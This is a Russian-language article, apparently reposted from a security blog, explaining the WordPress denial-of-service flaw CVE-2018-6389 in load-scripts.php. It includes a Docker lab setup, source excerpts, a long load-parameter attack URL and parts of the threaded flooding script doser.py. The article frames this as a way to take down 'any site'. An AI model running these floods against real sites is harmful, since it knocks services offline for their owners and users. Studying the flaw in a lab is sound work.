Как заDDOSить любой сайт при помощи WordPress?

Брешь была обнаружена израильским ресерчером Бараком Тавили (Barak Tawily aka Quitten), когда он изучал очередной проект на WordPress. Уязвимость получила идентификатор CVE-2018-6389 и присутствует на тысячах сайтов по всему миру, так как разработчики из WordPress Foundation не спешат признавать серьезность проблемы и исправлять ее. В результате от бага не избавлены даже самые свежие на момент написания статьи версии CMS.

 



Рабочее окружение для демострации

По традиции используем контейнер Docker на Debian и седьмую версию PHP с Apache.

$ docker run -it --rm -p80:80 --name=wpdos --hostname=wpdos debian /bin/bash 
$ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli nano wget 

Скачиваем и распаковываем WordPress версии 4.9.5:

$ cd /tmp && wget https://wordpress.org/wordpress-4.9.5.tar.gz
$ tar xzf wordpress-4.9.5.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/

Запускаем необходимые сервисы:



$ service mysql start && service apache2 start
$ mysql -u root -e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

Дальше дело за установкой CMS через браузер.

 

Детали уязвимости позволяющей создать ддос атаку

Итак, Тавили во время просмотра очередного сайта на WordPress обратил внимание на скрипт load-scripts.php. Он используется для отображения JavaScript. Названия загружаемых файлов указываются в параметре load, и при выводе их содержимое объединяется. Сделано это для того, чтобы ускорить загрузку страницы и уменьшить количество запросов к серверу.

Таким образом, чтобы браузер получил все нужные для корректного отображения файлы JS, достаточно сделать запрос на один скрипт load-scripts.php, в параметрах которого будут перечислены все необходимые файлы JavaScript. Это, кстати, довольно распространенная практика при разработке бэкенда. Та же логика у скрипта load-styles.php, только в отношении файлов CSS.

17: $load = $_GET['load'];
18: if ( is_array( $load ) )
19:     $load = implode( '', $load );
20:
21: $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
22: $load = array_unique( explode( ',', $load ) );

Какие же скрипты мы можем загрузить? Разумеется, произвольный файл прочитать не получится, существует четко прописанный список разрешенных объектов.

/wp-admin/load-scripts.php

48: foreach ( $load as $handle ) {
49:     if ( !array_key_exists($handle, $wp_scripts->registered) )
50:         continue;
51:
52:     $path = ABSPATH . $wp_scripts->registered[$handle]->src;
53:     $out .= get_file($path) . "\n";
54: }

Этот список находится в свойстве registered класса WP_Scripts и заполняется при помощи функции wp_default_scripts из файла script-loader.php.

/wp-admin/load-scripts.php

36: $wp_scripts = new WP_Scripts();
37: wp_default_scripts($wp_scripts);

/wp-includes/script-loader.php

37: /**
38:  * Register all WordPress scripts.
...
46:  * @param WP_Scripts $scripts WP_Scripts object.
47:  */
48: function wp_default_scripts( &$scripts ) {

Пополняется список разрешенных к загрузке файлов при помощи метода add.

/wp-includes/script-loader.php

048: function wp_default_scripts( &$scripts ) {
...
086:    $scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 );
087:
088:    $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 );
...
125:    $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 );
...

В параметрах вызова указываются название элемента, путь до файла, зависимости от других элементов, версия и прочее.

/wp-includes/class.wp-scripts.php

18: class WP_Scripts extends WP_Dependencies {

/wp-includes/class.wp-dependencies.php

206:    public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
207:        if ( isset($this->registered[$handle]) )
208:            return false;
209:        $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );
210:        return true;
211:    }

Полный список всех вызовов загружаемых элементов можно найти тут. Всего их 181. По умолчанию загружаются минифицированные версии скриптов.

/wp-includes/script-loader.php

67:     $suffix = SCRIPT_DEBUG ? '' : '.min';
68:     $dev_suffix = $develop_src ? '' : '.min';

 

 

Идея в том, чтобы прочитать все возможные JS-файлы одним запросом. Он получается монструозным, не буду приводить его целиком, но вместо многоточия в конце должно идти еще 170 названий файлов.

http://wpdos.visualhack/wp-admin/load-scripts.php?load=utils,common,wp-a11y,sack,quicktags,colorpicker,editor,wp-fullscreen-stub,wp-ajax-response,wp-api-request,wp-pointer...

Время, прошедшее от отправления запроса до первого полученного байта ответа, равно ~500 миллисекунд. Примерно столько сервер обрабатывал этот запрос.

 

Каждый файл читается отдельно при помощи file_get_contents.

/wp-admin/includes/noop.php

102: function get_file( $path ) {
103:
104:    if ( function_exists('realpath') ) {
105:        $path = realpath( $path );
106:    }
107:
108:    if ( ! $path || ! @is_file( $path ) ) {
109:        return '';
110:    }
111:
112:    return @file_get_contents( $path );
113: }

Получается, что каждый запрос будет вызывать 181 операцию ввода-вывода, и если таких запросов будет много, то в скором времени у сервера могут начаться проблемы. Особенно это касается сайтов на shared-хостингах.

Автоматизируем ддос атаку!

Теперь давай организуем множественные запросы к такому URL. Тавили для этих целей использовал самописную утилиту под названием doser, которая выполняет запросы к серверу в указанное количество потоков. Сам скрипт написан на Python 2.7 с использованием библиотек requests и threading.

Процедура вызова проста:

$ python doser.py -g <url> -t 999

Ключ g говорит нам, что нужно отправлять запросы методом GET, а с помощью t можно указать количество потоков.

doser.py

067: def sendGET(url):
...
070:    try:
071:        request_counter+=1
072:        request = requests.get(url, headers=headers)
...
094:            while True:
095:                global url
096:                sendGET(url)
...
113: def main(argv):
...
115:    parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
...
119:    parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
...
128:        for i in range(args.t):
129:            t = SendGETThread()

Возможно, решение не самое быстрое и оптимальное, но скрипт работает добросовестно и с задачей справляется. После двух тысяч запросов наш простенький сервер уже недоступен для обычного пользователя. Чтобы добавить еще немного нагрузки, можешь дополнительно отправлять запросы на загрузку файлов CSS через load-styles.php.

 

Вывод

Вот такой нестандартный вектор атаки. Конечно, импакт от его использования не слишком серьезный, иначе мы бы уже наблюдали массовый «падёж». Правильно настроенный выделенный сервер с защитой от ddos от такого трюка пострадать не должен. А вот на shared-хостингах стоят лимиты на потребляемые ресурсы, и, если они исчерпаются, могут возникнуть проблемы.

Почему же в WordPress не считают это своей проблемой и не торопятся исправлять? С одной стороны, разработчиков можно понять: они не несут ответственности за использование их CMS на слабых или некорректно настроенных серверах (WordPress вообще-то далеко не самая легкая CMS). Но это совсем не то, что хочется слышать от разработчиков системы, на которой работает твой блог. Проблему все равно придется фиксить, и я уверен, что есть масса безобидных способов сделать это. Да ей уже дали CVE, в конце концов!

 

 

Источник:  https://cryptoworld.su/

RuCoreNET - лучшее для вас!


Поделись статьей с друзьями


85 просмотров


0 0 vote
Рейтинг статьи
Подписаться
Уведомление о
guest
0 Комментарий
Inline Feedbacks
View all comments


Do NOT follow this link or you will be banned from the site!
0
Would love your thoughts, please comment.x
()
x

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: